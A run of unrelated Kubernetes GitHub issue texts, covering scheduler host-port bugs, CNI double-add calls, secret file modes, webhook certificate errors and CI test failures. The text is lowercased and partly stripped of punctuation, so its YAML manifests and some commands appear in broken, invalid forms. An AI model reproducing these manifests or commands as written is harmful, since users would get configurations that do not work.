'app-pool2-9-europe-central1.testdc.com'\r                 - 'app-pool2-10-europe-central1.testdc.com'\r                 - 'app-pool2-11-europe-central1.testdc.com'\r                 - 'app-pool2-12-europe-central1.testdc.com'\r                 - 'app-pool2-13-europe-central1.testdc.com'\r                 - 'app-pool2-14-europe-central1.testdc.com'\r                 - 'app-pool2-15-europe-central1.testdc.com'\r                 - 'app-pool2-16-europe-central1.testdc.com'\r                 - 'app-pool2-17-europe-central1.testdc.com'\r                 - 'app-pool2-18-europe-central1.testdc.com'\r                 - 'app-pool2-19-europe-central1.testdc.com'\r                 - 'app-pool2-20-europe-central1.testdc.com'\r                 - 'app-pool2-21-europe-central1.testdc.com'\r                 - 'app-pool2-22-europe-central1.testdc.com'\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: app\r                 operator: in\r                 values:   'test-deploy'  \r             topologykey: kubernetes.io/hostname\r       tolerations:\r       - key: dedicated\r         operator: equal\r         value: api-test\r         effect: noexecute\r       containers:\r       - name: envoy-prometheus\r         image: test/envoy-exporter:latest\r         env:\r         - name: server_port\r           value: \ 9092\ \r         - name: url\r           value: \ http://127.0.0.1/stats\ \r         ports:\r         - name: prom-stats\r           containerport: 9092\r       imagepullsecrets:\r       - name: dockerhubkey\r    \r \r describe pending pod\r    \r kubectl describe pod test-deploy2-675ccc77b7-2gmsm\r  warning  failedscheduling  59s   default-scheduler     0/72 nodes are available: 47 node s  didn't have free ports for the requested pod ports, 54 node s  didn't match node selector.\r    \r \r restart kube-scheduler container\r    \r crictl stop $ crictl ps | grep kube-scheduler | awk '{print $1}' \r    \r \r describe pending pod\r    \r kubectl describe pod test-deploy2-675ccc77b7-2gmsm\r   normal   scheduled         1m   default-scheduler     successfully assigned default/test-deploy2-675ccc77b7-2gmsm to app-pool2-3-europe-central1.testdc.com\r    \r \r   anything else we need to know?  :\r \r i have two different deployments which use same host ports but rise up on different nodes. it worked good when i used kubernetes v1.10 and it was broken when i updated to v.1.11\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: self-hosted amd epyc 7401p 24-core 128 gb ddr4\r - os  e.g. from /etc/os-release : ubuntu 18.04 lts\r - kernel  e.g.  uname -a  : 4.15.0-24-generic\r - install tools: kubeadm\r - others: containerd v1.12, calico network v3.1\r

 @kubernetes/sig-architecture-feature-requests\r \r i am frequently watching how pods are being created and destroyed in my development environment using the following command:\r  kubectl get pods --namespace=ns1 -w -o wide \r because  for various reason  all the apps are deployed to their dedicated namespaces it would be good to be able to watch multiple namespaces with one command:\r  kubectl get pods --namespace=ns1,ns2,ns  -w -o wide \r  i am not particular fussy about the syntax so it could be sth like  --namespaces={ns1,ns } .\r

we need to document what permissions the federation control plane needs in order to correctly function. after  42042  kubefed  will create a service account that has very broad permissions, but we should document what are the tightest permissions necessary in order for the fcp to run.

most generic api servers do not have a client certificate they can use for authentication.  they will all have sa tokens though.  the admission webhooks are checked by cas and they are already highly privileged.  we should allow tokens like we do for other webhooks.\r \r @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r currently, there are 26 issues open which is related to ipvs kube-proxy, and keeps growing. i propose a new label -  ipvs , which will help tracing the ipvs kube-proxy issues. because i don't have the permission to create a new label, i need help.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @thockin @idvoretskyi @enisoc @dims @caseydavenport @cmluciano \r \r 

i cannot mount volumes from a gluster server running the latest stable release of gluster, 4.0 as i get the following error:\r \r  server is operating at an op-version which is not supported \r \r it appears that glusterfs-client and glusterfs-common are out-of-date by 5 minor versions, and one major version in hypercube.\r \r   kubernetes version    use kubectl version :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.3\ , gitcommit:\ d2c7a2bd41036f9474287579a725dc54c904e92d\ , gittreestate:\ clean\ , builddate:\ 2018-05-23t00:19:39z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment:  \r \r -    cloud provider:   gke\r -    os  : ubuntu 16.04.4 lts\r -    kernel:   gke-imagely-hosting-default-pool-1fdf6b0c-353m 4.13.0-1015-gcp\r \r   anything else we need to know:  \r \r for now i'm manually upgrading by logging into each node and executing:\r \r  cd /home/kubernetes/containerized_mounter/ \r  sudo chroot rootfs /bin/bash \r  apt-get update \r  apt-get install software-properties-common \r  add-apt-repository ppa:gluster/glusterfs-4.0 \r  apt-get update \r  apt-get install glusterfs-client \r \r please consider upgrading these tools for interoperability with newer gluster volumes.

kubectl client proxy server should support --unix-socket=/path  conformance       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:920 dec 9 05:53:52.366: failed to create temporary directory: mkdir /tmp/kubectl-proxy-unix440131382: no space left on device      /cc @dchen1107 @zmerlynn

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/8676/  failed:  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:233 expected error:     < errors.errorstring | 0xc820736c00>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.197.80.178 --kubeconfig=/workspace/.kube/config get pods -o template --template={{range.items}}{{.metadata.name}} {{end}} -l name=update-demo --namespace=e2e-tests-kubectl-uhhl1      <nil>  the server does not allow access to the requested resource  get pods \     <nil> 0xc820218fa0 exit status 1 <nil> true  0xc820169148 0xc820169160 0xc820169178   0xc820169148 0xc820169160 0xc820169178   0xc820169158 0xc820169170   0xa96610 0xa96610  0xc8207aeb40}:\ command stdout:\ \ stderr:\ the server does not allow access to the requested resource  get pods \ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.197.80.178 --kubeconfig=/workspace/.kube/config get pods -o template --template={{range.items}}{{.metadata.name}} {{end}} -l name=update-demo --namespace=e2e-tests-kubectl-uhhl1      <nil>  the server does not allow access to the requested resource  get pods          <nil> 0xc820218fa0 exit status 1 <nil> true  0xc820169148 0xc820169160 0xc820169178   0xc820169148 0xc820169160 0xc820169178   0xc820169158 0xc820169170   0xa96610 0xa96610  0xc8207aeb40}:     command stdout:      stderr:     the server does not allow access to the requested resource  get pods       error:     exit status 1  not to have occurred      previous issues for this test:  26425  26715  28825  28880

i'd like to have a documented way to schedule the installation or configuration of arbitrary  resources in a k8s cluster without the api being available, conceptually similar to the kubelet  --pod-manifest-path    /etc/kubernetes/manifests  , but not restricted to just pods or just a specific node.\r \r this would useful e.g. during an automated/cm cluster setup, where the api comes up asynchronously and may not be ready for several minutes. currently you'd have to loop in the client until the api is up and then issue the necessary create/apply commands.\r \r my best guess is that etcd would be the right place for something like this  provided the etcd cluster itself is brought up quickly/synchronously , but maybe a filesystem path on a master node would be easier or cleaner.\r \r i guess i could try putting the manifest jsons where k8s itself stores the resource definitions in etcd, e.g. under  /registry/services/specs/ , but that's undocumented at best it seems.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r after first installation 1 mater and 1 node, i have errors on node kubelet service\r \r > 19044 pod_workers.go:182  error syncing pod 4bb5a2c6-c352-11e7-af21-000c29d74419  \ kube-dns-545bc4bfd4-jz7zh_kube-system 4bb5a2c6-c352-11e7-af21-000c29d74419 \  , skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kubedns pod=kube-dns-545bc4bfd4-jz7zh_kube-system 4bb5a2c6-c352-11e7-af21-000c29d74419 \ \r    19044 helpers.go:468  percpuusage had 0 cpus, but the actual number is 2; ignoring extra cpus\r    19044 helpers.go:468  percpuusage had 0 cpus, but the actual number is 2; ignoring extra cpus\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :   1.8.2  \r - cloud provider or hardware configuration:   vmware  \r - os  e.g. from /etc/os-release :   centos 7.4  \r - kernel  e.g.  uname -a  :   3.10.0-693.5.2.el7.x86_64  \r - install tools:\r - others:\r \r \r  

@kubernetes/sig-cluster-lifecycle-test-failures \r \r this test has been failing on the  release-1.9  branch since inception:\r \r https://k8s-testgrid.appspot.com/sig-release-1.9-blocking gce-kubeadm-1.8-on-1.9&width=20\r \r ref https://github.com/kubernetes/kubernetes/issues/56504

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r setting  pod.spec.securitycontext.runasuser  causes the group read permission bit to be set on secrets exposed via volumes, even if  pod.spec.volumes x .defaultmode  is set to  256 .\r \r see also: https://github.com/openshift/origin/issues/16424\r \r   what you expected to happen  :\r \r given a  defaultmode  of  256  the file mode should be  0400  but it is  0440  instead.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create the following objects and observe the logs of the created pod:\r \r    \r ---\r apiversion: v1\r data:\r   test: dgvzda==\r kind: secret\r metadata:\r   name: test-secret\r type: opaque\r \r ---\r apiversion: v1\r kind: pod\r metadata:\r   generatename: issue-repro-\r spec:\r   securitycontext:\r     runasuser: 1000\r     fsgroup: 1000\r   containers:\r   - image: busybox\r     name: busybox\r     imagepullpolicy: ifnotpresent\r     args:\r     - \ ls\ \r     - \ -alr\ \r     - \ /tmp/dummy-secret\ \r     volumemounts:\r     - mountpath: /tmp/dummy-secret\r       name: test-secret\r \r   volumes:\r   - name: test-secret\r     secret:\r       defaultmode: 256\r       secretname: test-secret\r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-16t03:15:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r $ minikube version\r minikube version: v0.24.1\r    \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=buildroot\r version=2017.02\r id=buildroot\r version_id=2017.02\r pretty_name=\ buildroot 2017.02\ \r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux minikube 4.9.13  1 smp thu oct 19 17:14:00 utc 2017 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

failing job\r  gke-gci-1.10-gci-master-upgrade-cluster-new  sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new \r \r    gubernator logs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1422\r \r  / /  /milestone v1.11\r @kubernetes/sig-testing-bugs\r \r cc @jberkus @tpepper\r \r /assign @bentheelder for triage

issue 1:\r in the help info  kubectl help wait , it mentions  condition=available .\r when i first time uses it for pod, it always timeout.   this confuses user  .\r finally i know it depends on resource type, user should check .status.conditions, pod uses  condition=ready , pod controller uses  condition=available .\r it should clarify this in help info.\r \r issue 2:\r for resource that does not have .status.conditions:\r kubectl wait type/resource --for=condition=available\r the output is:\r error: .status.conditions accessor error: failure is of the type string, expected map string interface{}\r the message  failure is of the type string, expected map string interface{}  is not clear for end user.\r suggest improve the prompt.\r thanks!\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r  \r the driver had to be switched to a more recent version in order for the e2e test to pass. switch the version tag from canary to v0.3.0 once the release is cut.\r \r https://github.com/kubernetes/kubernetes/blob/99f319567a5148f501e49da35c83478303eab38b/test/e2e/storage/csi_objects.go l41

when running the csi driver tests the entire test fails if the crd is already installed at the beginning, the crd could be installed from any number of possible reasons including a previous test failure where they weren't cleaned up properly. in any case, the test case should be resilient to this and either accept \ already exists\  errors or clean up the crds before creating new ones.\r \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/storage/csi_objects.go l530\r \r    \r /assign @verult \r /cc @jsafrane

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r on windows, cni plugins always get called twice  or more  with command add when a pod is created.\r \r the issue is that  cni_windows.go:getpodnetworkstatus    calls  plugin.addtonetwork  to check the status, but this triggers a new add.\r \r   what you expected to happen  :\r \r only a single add since add is not idempotent.\r \r as per the  current, at least  cni spec: \r \r > a runtime must not call add twice  without a corresponding del  for the same  network name, container id, name of the interface inside the container . this implies that a given container id may be added to a specific network more than once only if each addition is done with a different interface name.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r network a pod on windows, will see two copies of this log:\r    \r i1023 16:05:18.098116    7176 cni.go:275  about to del cni network k8s-pod-network ...\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r in current release, kubernetes scheduler only supports pre-configured schedule policy, such as predicates and priorities. there is no way to determine different schedule policies dynamically in one scheduler, whereas it needs multiple schedulers and has to specify the schedule manually. as known, multiple schedulers have some drawbacks  e.g. increase in complexity, more resource conflicts, redundant code, etc.  one approach to address this challenge is to support dynamic policy mechanism that allows kubernetes scheduler to choose different policies when making schedule dicision according to dedicated identity, maybe pod label.\r \r   why is this needed  :\r  i think this will significantly increase the flexibility of scheduling.

when i run the following two commands:\r $: kubectl run nginx --image=nginx --replicas=3 --namespace demo\r $:  wait until  pods run\r $: kubectl delete deployment nginx --namespace demo\r \r in the log i can see that cni plugin is called twice to delete the same interface because of graceful deletion feature in kubelet.\r http://paste.openstack.org/show/589119/\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.182+13cc43af826a5d\ , gitcommit:\ 13cc43af826a5d2769543e91d13c93dd68c6f809\ , gittreestate:\ clean\ , builddate:\ 2016-11-08t04:42:35z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.477+d5014c3f216204-dirty\ , gitcommit:\ d5014c3f216204c2a8464a5bdf543f408eee6f71\ , gittreestate:\ dirty\ , builddate:\ 2016-11-14t11:01:41z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   os    e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r -   kernel    e.g.  uname -a  :\r linux calico-01 4.4.0-47-generic  68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r cni plugin is called  twice to delete one interface\r \r   what you expected to happen  :\r it should be deleted only once.\r

statefulset, daemonset, deployment, replicaset  use  obj.spec.template.labels  to default  obj.spec.selector  and  obj.labels ; while  job  only default   obj.labels   https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/batch/v1/defaults.go l44 .\r \r should we make  job  the same as the others?\r \r @kubernetes/sig-apps

batch  jobs  and autoscaling  hpa  are enabled by default in federation-apiserver but the controllers for them were not merged before 1.6 code freeze. we need to disable the apis.\r \r cc @kubernetes/sig-federation-bugs

forked from https://github.com/kubernetes/kubernetes/issues/42736 issuecomment-285268573. \r \r currently, kuberuntime garbage collection can't distinguish just-created sandboxes from failed sandboxes. especially when the time from sandbox creation to ready is longer than gc's minage. in such cases, those sandboxes may be garbage collected early before they are ready.\r \r some ideas of solving this problem:\r \r - runtime  e.g. dockershim  filter out those created-but-not-ready sandboxes from sandbox list\r - introduce another sandbox state created in cri\r \r cc @yujuhong @kubernetes/sig-node-bugs

once  44897 is in, selinux support for localvolumes should be added.  tests should also be written.\r \r @kubernetes/sig-storage-feature-requests

code in https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet/gpu has non trivial logic  and isn't well tested. this has resulted in a couple of bugs. increasing unit test coverage will relieve burden on e2e testing.\r \r @jiayingz wanna take a stab at this?

we're currently copying logs from each of the nodes to the jenkins worker  through ssh  and then uploading that bulk of logs from the worker to gcs. this poses multiple issues:\r - it's super time-consuming  eg. on large cluster  5k-node  this takes ~5 hrs  and so wastes money\r - we're blocked on the worker's network bandwidth\r - we overwhelm the worker's disk  thrashing it in case of 5k-node tests \r \r we already have a  logexporter  https://github.com/kubernetes/test-infra/tree/master/logexporter  tool that can directly upload node logs to gcs when run as a container on the node.\r i tested by running it on 5k-node cluster as a daemonset and it took just 7 mins to upload all the logs  nothing compared to the current time of 5 hrs .\r it remains to be incorporated into the e2e testing framework.\r \r cc @kubernetes/sig-scalability-misc @kubernetes/test-infra-maintainers

currently client-gen gets its groupversions input from the  hard coded list  https://github.com/kubernetes/kubernetes/blob/master/hack/update-codegen.sh l58  in hack/lib/init.sh, but lister-gen/informer-gen get the list by  find k8s.io/api -name types.go  https://github.com/kubernetes/kubernetes/blob/master/hack/update-codegen.sh l82 . it causes non-obvious compile error if someone adds a new api but forget to update the hard-coded list.

what happened  :\r after reading the codes of attach-detach-manager, i think the code  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/attach_detach_controller.go l371  which updats the actual state of world is useless.\r if volume is attached, attach-detach-manager marks it attached by populateactualstateofworld  , and store it into actualstateofworld.\r but when attach-detach-manager run populatedesiredstateofworld   to  populate the desired state of world, populatedesiredstateofworld   mark volume attached again.\r \r   what you expected to happen  :\r the populateactualstateofworld   is used to populate the actual state of world and populatedesiredstateofworld   is used to  populate the desired state of world. for clarity, populatedesiredstateofworld   is not necessary to update the actual state of world.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  latest\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r i see the literal string \  dollar_sign format\  in the api server logs:\r \r    \r i1101 07:05:53.364424       7 wrap.go:42  get /api/v1/namespaces/kube-system/services/default-http-backend:  1.73008ms  404   glbc/v0.0.0  linux/amd64  kubernetes/$format  127.0.0.1:52702 \r    \r \r note that most lines are fine, it seems that just some binaries don't have the placeholder substituted:\r \r    \r i1101 07:06:29.825192       7 wrap.go:42  post /apis/authorization.k8s.io/v1beta1/subjectaccessreviews:  361.716µs  201   kube-controller-manager/v1.9.0  linux/amd64  kubernetes/7f9f847/system:serviceaccount:kube-system:certificate-controller   ::1 :50612 \r    \r \r   what you expected to happen  :\r \r expected to see kubernetes commit id or tag name in all cases.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run an e2e test, grep for format in api server log.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: gce\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r after you configured webhook admission controller  externaladmissionhookconfiguration  inside your cluster pointing to a service, apiserver will try to verify your new apiservice certs against that admission controller service's common name. \r for example, a webhook admission controller is registered inside the cluster pointing to a service called \ webhook\  inside kube-system namespace  common name is webhook.kube-system.svc in this case . when you try to register a new apiservice called  v1beta1.testapiservice.k8s.io  pointing to a service  testapiservice  inside  testns  namespace after that webhook admission controller was registered, you will see error inside apiserver log like this:\r  e1127 01:22:06.230506       1 controller.go:111  loading openapi spec for \ v1beta1.testapiservice.k8s.io\  failed with: failed to retrieve openapi spec, http error: responsecode: 503, body: error: 'x509: certificate is valid for testapiservice, testapiservice.testns, testapiservice.testns.svc, testapiservice.testns.svc.cluster.local, not webhook.kube-system.svc' \r and aggregation layer cannot talk to the custom apiserver due to invalid certs.\r \r   what you expected to happen  :\r apiserver should only verify the new aggregated api server certs against its own service's common name and shouldn't verify it against webhook admission controller service's common name.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. register a webhook admission controller inside your cluster like the example  here  https://github.com/caesarxuchao/example-webhook-admission-controller  using service webhook.kube-system.svc\r 2. register a new aggregated api server using service testapiservice.testns.svc\r 3. aggregation layer cannot talk to the custom apiserver  and kube-apiserver generates error logs because it couldn't find valid common name  webhook.kube-system.svc  for your aggregated api server service. \r \r   anything else we need to know?  :\r on the other hand admission controller works fine without any problem in this case described above.\r we also tried deploying them in a different order. so deploy the aggregated api server first and then register the admission controller webhook. in that case, the aggregated api server works fine but admission controller webhook won't work. from kube-apiserver log, you can see it's trying to verify the webhook admission controller service certs against aggregated api server service's common name.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : container linux by coreos 1576.2.0  ladybug \r - kernel  e.g.  uname -a  : 4.13.11-coreos\r - install tools:\r - others:\r \r \r 

  this could be considered a feature if this was never intended to work \r \r   what happened  :\r \r if creating a windows service through powershell new-service command or cmd sc.exe the resulting service cannot start.\r \r   what you expected to happen  :\r \r the service to start\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup kubelet.exe on windows with necessary prereqs. run in a shell to confirm working. then take the entire shell command and pass it as the binarypathname to new-service in powershell. attempt to start the service through the services snap-in or with start-service.\r \r   anything else we need to know?  :\r \r i am assuming the signal handler for kubelet is set up for linux signals only, and not windows.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-alpha.3.299+c17b418f89e056  manual build \r - cloud provider or hardware configuration: local vsphere\r - os  e.g. from /etc/os-release : windows server 1709\r - kernel  e.g.  uname -a  :\r - install tools: manual\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r   what happened  :\r \r virtualmachinescalesetvm and virtualmachine are different data structures  because of different api versions , so the disk attach operation seems duplicate between vm and vmss. that means although disk operations are in same logic, some duplication are still required now.\r \r they should use same api version in the future and should be merged into same code base, e.g. move sharing logic to azure_controller_common.go.\r \r refer https://github.com/kubernetes/kubernetes/pull/59716 issuecomment-364728621.\r \r   what you expected to happen  :\r \r vmss and vm disk operations should share same code logic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

imo, it would be nice if kubectl was able to take advantage of x509 client certificates stored on an attached smartcard. when using client certs for user authentication, this keeps the private key  in theory  safe from exfiltration in the event of e.g. malicious browser extensions. for a client cert that potentially has admin access to a k8s cluster, this is very desirable.\r \r this may be a long-term wishlist sort of thing as i don't believe go's tls library supports pkcs11 at the moment.\r \r 

\r currently, apiserver timeouthandler will start a new timer for each non-long running request.\r \r and each request has a timeout duration.  so there may be thousands of requests concurrently. in other words, thousands of timers exists,  which is a waste of cpu resource.    although  runtime.timers is just a heap data structure.  https://blog.gopheracademy.com/advent-2016/go-timers/ ,  it has to maintain heap properties, which must be a lot of contention. \r \r i think in order to reduce the timers cpu usage, we should implement a timingwheel to make use of only one ticker to work as  time.after  .

we have written self-hosted admission webhook using eas following pattern shown here: https://github.com/openshift/kubernetes-namespace-reservation\r \r    \r i1001 09:52:08.296840       1 handler.go:143  pack-server: get \ /apis/validators.kubedb.com/v1alpha1\  satisfied by gorestful with webservice /apis/validators.kubedb.com/v1alpha1\r i1001 09:52:08.296931       1 wrap.go:42  get /apis/validators.kubedb.com/v1alpha1?timeout=32s:  2.334913ms  200   kube-controller-manager/v1.11.3  linux/amd64  kubernetes/a452946/controller-discovery  10.42.4.0:41086 \r e1001 09:52:08.313553       1 authentication.go:62  unable to authenticate the request due to an error:  x509: certificate signed by unknown authority  possibly because of \ crypto/rsa: verification error\  while trying to verify candidate authority certificate \ kube-apiserver-requestheader-ca\  , x509: certificate signed by unknown authority \r    \r \r in one of our client cluster, we are seeing lot of logs like above. this is a rke 1.11.3 cluster. my question is how do we fix this issue?\r

somebody on stackoverflow was puzzled about the eviction behavior of the node controller when a zone is fully disrupted: https://stackoverflow.com/questions/52871164/when-one-of-zones-enter-full-disruption-we-update-eviction-qps-to-which-value-f\r \r according to  node_lifecycle_controller.go 316  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/nodelifecycle/node_lifecycle_controller.go l316 , the eviction behavior of a healthy and a fully disrupted zone is equal:\r \r     nc.enterfulldisruptionfunc = nc.healthyqpsfunc\r \r i see that this logic was introduced in the context of https://github.com/kubernetes/kubernetes/issues/28832 and is documented at https://kubernetes.io/docs/concepts/architecture/nodes/ node-controller. still it is not clear to me whether it is intended to still evict nodes from a fully disrupted zone with the same rate as from a healthy zone.\r \r of course we also need to consider the case that a zone might not come back at all.\r \r is there any additional information to find about this? @gmarek, could you help us?

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-slow\r \r   which test s  are failing  :\r  sig-storage  in-tree volumes  driver: emptydir   testpattern: inline-volume  default fs   subpath should support creating multiple subpath from same volumes\r \r   since when has it been failing  :\r flaked once on 11/23\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/21942\r \r   reason for failure  :\r container failed to start with:\r    \r nov 24 06:28:00.091: info: at 2018-11-24 06:27:57 +0000 utc - event for pod-subpath-test-emptydir-5bs6: {kubelet bootstrap-e2e-minion-group-82h4} failed: error: failed to start container \ test-container-volume-emptydir-5bs6\ : error response from daemon: linux runtime spec devices: lstat /dev/sdc: no such file or directory\r    \r \r i'm unsure where /dev/sdc is coming from.  usually emptydir volumes share the root disk at /dev/sda.\r \r   anything else we need to know  :\r \r @kubernetes/sig-node-bugs \r \r <!-- do not edit below this line -->\r 

what happened  :\r \r @pohly reported on slack that he is seeing this in the scheduler logs:\r    \r f0308 11:30:12.839840       1 server.go:65  unable to initialize command options: converting\r  v1alpha1.leaderelectionconfiguration  to  config.leaderelectionconfiguration : type names\r don't match  , bool , and no conversion 'func   bool, bool  error' registered.\r    \r \r  leaderelect  under  leaderelectionconfiguration  seems to have a version with and without pointer in the external / internal types.\r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/component-base/config/types.go l45\r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/component-base/config/v1alpha1/types.go l31\r \r googling, i see traces of this problem going back to 2017:\r https://groups.google.com/forum/ !msg/kubernetes-sig-api-machinery-pr-reviews/lgx1vtbyxuk/-vcgpxxecgaj\r \r  /  @kubernetes/sig-api-machinery-bugs \r @kubernetes/wg-component-standard \r

a comment of mine did not get resolved before merging the service accounts: https://github.com/googlecloudplatform/kubernetes/pull/7101/files r30173041  basically, all mentions of \ serviceaccount\  in the secret type tokens need to be replaced with a more general user account. serviceaccounts may not be the only source of such secrets.  service account manager can add an annotation or something to track which secrets it \ owns\ .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  search for these keywords did not find anything  is:issue is:open  node status resources requests current   ---    is this a bug report or feature request?    choose one :  feature request  hi all,  we propose to add a new field to the nodestatus . the name could be  currentpodrequests  or  requestedresources  or  allocatedresources  .  we are open to other name suggestions.   as the desired semantics, we propose this field to contain the sum of requested resources of all the currently running pods in that node.   the same computation is done every time one executes  kubectl describe node .  the resources table is computed every time from scratch.  for example        namespace          name                        cpu requests    cpu limits  memory requests memory limits   ---------         ----                        ------------   